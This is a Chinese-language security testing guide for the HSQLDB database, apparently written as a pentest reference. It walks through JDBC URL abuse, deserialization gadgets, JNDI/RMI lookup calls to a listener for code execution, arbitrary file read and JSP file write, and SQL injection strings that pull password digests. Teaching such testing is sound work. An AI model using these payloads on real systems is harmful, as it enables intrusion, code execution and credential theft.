HSQLDB 安全测试指南
字数 1494 2025-08-10 08:28:32

HSQLDB 安全测试指南

1. 背景介绍

HSQLDB(HyperSQL DataBase)是一个完全由Java编写的小型嵌入式数据库,具有以下特点:

  • 可以以文件或内存形式运行
  • 不需要单独启动服务器
  • 内置HTTP和HSQL两种协议的服务器
  • 自带Servlet类org.hsqldb.server.Servlet可注册到Tomcat中使用

HSQLDB支持四种连接模式:

  1. 内存模式:jdbc:hsqldb:mem:myDbName
  2. 文件模式:jdbc:hsqldb:file:/opt/db/myDbName
  3. WEB服务器模式:jdbc:hsqldb:http://localhost/myDbName
  4. HSQL服务器模式:jdbc:hsqldb:hsql://localhost:9001/myDbName

2. 调试环境搭建

HSQLDB编译时移除了调试信息,无法直接调试。解决方案:

  • 使用longofo/hsqldb-source编译1.8版本
  • 如需调试其他版本需自行编译相应版本

3. JDBC URL安全问题

3.1 SSRF+密码泄露

  • 通过HTTP/HTTPS连接方式可进行无回显SSRF探测
  • 验证密码时会将明文密码带入请求体

3.2 获取JVM敏感变量

  • org.hsqldb.DatabaseURL#parseURL方法会解析${}中的字符串
  • 通过System.getProperty()获取系统属性
  • 示例:获取user.dir等敏感信息

3.3 写SQL文件泄露密码

  • 使用文件模式:jdbc:hsqldb:file:/path/to/db
  • 生成的文件中包含SCRIPT文件(数据库初始化脚本)
  • SCRIPT文件包含用户名和MD5加密的密码
  • 通过在线平台可破解常见密码

4. 反序列化漏洞

4.1 参数恢复反序列化

  • 通过CALL命令调用Java静态方法
  • HEX参数会自动解码并通过ObjectInputStream反序列化
  • 示例POC:
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");

4.2 图形化客户端反序列化

  • 利用org.hsqldb.types.JavaObjectData#getObject方法
  • 需要创建OTHER类型字段的表并插入序列化对象
  • 当客户端查询时会触发反序列化

4.3 DataSource gadget

  • Fastjson autotype场景下可利用
  • 示例payload:
{
  "@type":"org.hsqldb.jdbc.pool.JDBCPooledDataSource",
  "url":"jdbc:hsqldb:http://127.0.0.1:2333/?${user.dir}",
  "user":"sa",
  "password":"",
  "a":{"$ref":"$.pooledConnection"}
}

5. 高危SQL命令

5.1 方法调用

  1. 自定义函数:
CREATE FUNCTION rce(VARCHAR(80))
RETURNS VARCHAR(80)
NO SQL
LANGUAGE JAVA
EXTERNAL NAME 'CLASSPATH:java.rmi.Naming.list';
CALL rce('rmi://127.0.0.1:2333/a')
  1. 直接调用Java方法:
CALL "java.rmi.Naming.list"('rmi://127.0.0.1:2333/a')
  1. 设置密码检查扩展方法:
SET DATABASE PASSWORD CHECK FUNCTION EXTERNAL NAME 'CLASSPATH:java.class.method'
SET DATABASE AUTHENTICATION FUNCTION EXTERNAL NAME 'CLASSPATH:java.class.method'

5.2 文件读取

  1. LOAD_FILE函数:
  • 默认只能读取数据库文件目录及其子目录
  • 需要hsqldb.allow_full_path=true才能跨目录
  1. TEXT TABLE:
CREATE TEXT TABLE TESTDATA(txt VARCHAR(255));
SET TABLE TESTDATA SOURCE 'data.script'
  1. IMPORT SCRIPT:
  • 可以跨目录读取文件
  • 内容以报错形式显示
PERFORM IMPORT SCRIPT VERSIONING DATA FROM 'C:/windows/win.ini'

5.3 文件写入

SCRIPT命令:

CREATE TABLE EVIL(txt VARCHAR(255));
INSERT INTO EVIL VALUES('<%=666666-1%>');
SCRIPT 'E:/path/to/web/evil.jsp';

6. SQL注入技术

6.1 报错注入

  1. LOAD_FILE函数:
test' and load_file(concat('x:/',(SELECT top 1 concat(user_name,'~',password_digest) FROM information_schema.system_users)))!=null and '1'='1
  1. REGEXP_REPLACE函数:
test' and REGEXP_REPLACE('','','','',1,concat('~',user()))='1

6.2 UNION注入

  1. 确定列数:
test' or 1=1 order by 13--!
  1. 获取数据:
test' and 1=2 union select database(),(SELECT top 1 concat(user_name,'~',password_digest) FROM information_schema.system_users),null,null,null,null,null,null,null,null,null,true,null from INFORMATION_SCHEMA.TABLES--!

6.3 布尔盲注

使用DECODE函数:

decode(user(),'SA',1,0)

6.4 延时盲注

  1. 使用REGEXP_MATCHES引发REDOS:
REGEXP_MATCHES('aaaaaaaaaaaaaaaaaaaaaaaaaaaX','(a+)+')
  1. 查询大数据量表引发延时

6.5 堆叠注入

HSQLDB默认允许堆叠查询:

test';CALL "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:2333/Exploit');--!

非堆叠注入方式:

test' and "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:2333/Exploit')!=null and 'a'='a

7. 参考资源

  1. 快手SRC首发文章
  2. HSQLDB官方文档:Chapter 10. Built In Functions
  3. longofo/hsqldb-source
  4. F5 BIG-IP hsqldb(CVE-2020-5902)漏洞分析
HSQLDB 安全测试指南 1. 背景介绍 HSQLDB(HyperSQL DataBase)是一个完全由Java编写的小型嵌入式数据库,具有以下特点: 可以以文件或内存形式运行 不需要单独启动服务器 内置HTTP和HSQL两种协议的服务器 自带Servlet类 org.hsqldb.server.Servlet 可注册到Tomcat中使用 HSQLDB支持四种连接模式: 内存模式: jdbc:hsqldb:mem:myDbName 文件模式: jdbc:hsqldb:file:/opt/db/myDbName WEB服务器模式: jdbc:hsqldb:http://localhost/myDbName HSQL服务器模式: jdbc:hsqldb:hsql://localhost:9001/myDbName 2. 调试环境搭建 HSQLDB编译时移除了调试信息,无法直接调试。解决方案: 使用longofo/hsqldb-source编译1.8版本 如需调试其他版本需自行编译相应版本 3. JDBC URL安全问题 3.1 SSRF+密码泄露 通过HTTP/HTTPS连接方式可进行无回显SSRF探测 验证密码时会将明文密码带入请求体 3.2 获取JVM敏感变量 org.hsqldb.DatabaseURL#parseURL 方法会解析 ${} 中的字符串 通过 System.getProperty() 获取系统属性 示例:获取 user.dir 等敏感信息 3.3 写SQL文件泄露密码 使用文件模式: jdbc:hsqldb:file:/path/to/db 生成的文件中包含SCRIPT文件(数据库初始化脚本) SCRIPT文件包含用户名和MD5加密的密码 通过在线平台可破解常见密码 4. 反序列化漏洞 4.1 参数恢复反序列化 通过CALL命令调用Java静态方法 HEX参数会自动解码并通过 ObjectInputStream 反序列化 示例POC: 4.2 图形化客户端反序列化 利用 org.hsqldb.types.JavaObjectData#getObject 方法 需要创建OTHER类型字段的表并插入序列化对象 当客户端查询时会触发反序列化 4.3 DataSource gadget Fastjson autotype场景下可利用 示例payload: 5. 高危SQL命令 5.1 方法调用 自定义函数: 直接调用Java方法: 设置密码检查扩展方法: 5.2 文件读取 LOAD_ FILE函数: 默认只能读取数据库文件目录及其子目录 需要 hsqldb.allow_full_path=true 才能跨目录 TEXT TABLE: IMPORT SCRIPT: 可以跨目录读取文件 内容以报错形式显示 5.3 文件写入 SCRIPT命令: 6. SQL注入技术 6.1 报错注入 LOAD_ FILE函数: REGEXP_ REPLACE函数: 6.2 UNION注入 确定列数: 获取数据: 6.3 布尔盲注 使用DECODE函数: 6.4 延时盲注 使用REGEXP_ MATCHES引发REDOS: 查询大数据量表引发延时 6.5 堆叠注入 HSQLDB默认允许堆叠查询: 非堆叠注入方式: 7. 参考资源 快手SRC首发文章 HSQLDB官方文档:Chapter 10. Built In Functions longofo/hsqldb-source F5 BIG-IP hsqldb(CVE-2020-5902)漏洞分析